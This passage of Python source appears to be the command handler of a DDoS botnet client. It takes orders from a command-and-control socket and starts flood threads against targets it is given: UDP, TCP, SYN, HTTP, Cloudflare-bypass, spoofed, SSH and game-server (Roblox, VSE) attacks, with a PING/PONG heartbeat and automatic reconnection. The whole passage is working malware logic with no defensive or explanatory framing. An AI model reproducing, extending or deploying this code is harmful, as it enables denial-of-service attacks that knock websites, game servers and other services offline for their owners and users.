                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                threads = int(args[4])
                for _ in range(threads):
                    threading.Thread(target=attack_hex, args=(ip, port, secs), daemon=True).start()
            elif command == '.PPS':
                ip = args[1]
                port = int(args[2])
                secs = int(args[3])
                target_pps = int(args[4])
                threading.Thread(
                    target=attack_pps,
                    args=(ip, port, secs, target_pps),
                    daemon=True
                ).start()
            elif command == '.ROBLOX':
                    ip = args[1]
                    port = int(args[2])
                    secs = time.time() + int(args[3])
                    size = int(args[4])
                    threads = int(args[5])
                    for _ in range(threads):
                        threading.Thread(target=attack_roblox, args=(ip, port, secs, size), daemon=True).start()
            
            elif command == '.VSE':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                threads = int(args[4])
                for _ in range(threads):
                    threading.Thread(target=attack_vse, args=(ip, port, secs), daemon=True).start()
            
            elif command == '.SSH':
                host = args[1]
                port = int(args[2])
                username = args[3]
                secs = time.time() + int(args[4])
                threads = int(args[5])
                for _ in range(threads):
                    threading.Thread(
                        target=attack_ssh,
                        args=(host, port, username, int(args[4])),
                        daemon=True
                    ).start()
            
            elif command == '.JUNK':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                size = int(args[4])
                threads = int(args[5])
                for _ in range(threads):
                    threading.Thread(target=attack_junk, args=(ip, port, secs), daemon=True).start()
                    threading.Thread(target=attack_udp, args=(ip, port, secs, size), daemon=True).start()
                    threading.Thread(target=attack_tcp, args=(ip, port, secs, size), daemon=True).start()

            elif command == '.SYN':
                ip = args[1]
                port = int(args[2])
                secs = time.time() + int(args[3])
                threads = int(args[4])
                for _ in range(threads):
                    threading.Thread(target=attack_SYN, args=(ip, port, secs), daemon=True).start()
            
            # HTTP методы с Cloudflare-style мощью
            elif command == ".HTTPSTORM":
                url = args[1]
                port = args[2] if len(args) > 2 else "80"
                secs = int(args[3])
                threads = int(args[4]) if len(args) > 4 else 1
                for _ in range(threads):
                    threading.Thread(target=STORM_attack, args=(url, port, secs), daemon=True).start()

            elif command == ".HTTPGET":
                url = args[1]
                port = args[2] if len(args) > 2 else "80"
                secs = int(args[3])
                threads = int(args[4]) if len(args) > 4 else 1
                for _ in range(threads):
                    threading.Thread(target=GET_attack, args=(url, port, secs), daemon=True).start()
            
            elif command == ".HTTPCFB":
                url = args[1]
                port = args[2] if len(args) > 2 else "80"
                secs = int(args[3])
                threads = int(args[4]) if len(args) > 4 else 1
                for _ in range(threads):
                    threading.Thread(target=CFB, args=(url, port, secs), daemon=True).start()

            elif command == ".HTTPIO":
                url = args[1]
                secs = int(args[2])
                threads = int(args[3])
                attackType = args[4]
                threading.Thread(target=httpio, args=(url, secs, threads, attackType), daemon=True).start()

            elif command == ".HTTPSPOOF":
                url = args[1]
                timer = int(args[2])
                threads = int(args[3]) if len(args) > 3 else 1
                for _ in range(threads):
                    threading.Thread(target=httpSpoofAttack, args=(url, timer), daemon=True).start()
            
            elif command == '.PRIVFLOOD':
                target = args[1]
                secs = int(args[2])
                # dummy threads arg — не используется, но для совместимости
                threading.Thread(
                    target=attack_privflood,
                    args=(target, secs, 1),
                    daemon=True
                ).start()
            
            elif command == 'PING':
                c2.send('PONG'.encode())
            
            elif command == ".CFBYPASS":
                target = args[1]
                secs = int(args[2])
                threads = int(args[3]) if len(args) > 3 else 1
                for _ in range(threads):
                    threading.Thread(target=attack_cloudflare, args=(target, secs, 1), daemon=True).start()
            
            elif command == 'STOP':
                stop_attacks = True
                cf_style_attacker.running = False

        except:
            break

    c2.close()
    main()

if __name__ == '__main__':
    try:
        main()
    except:
        pass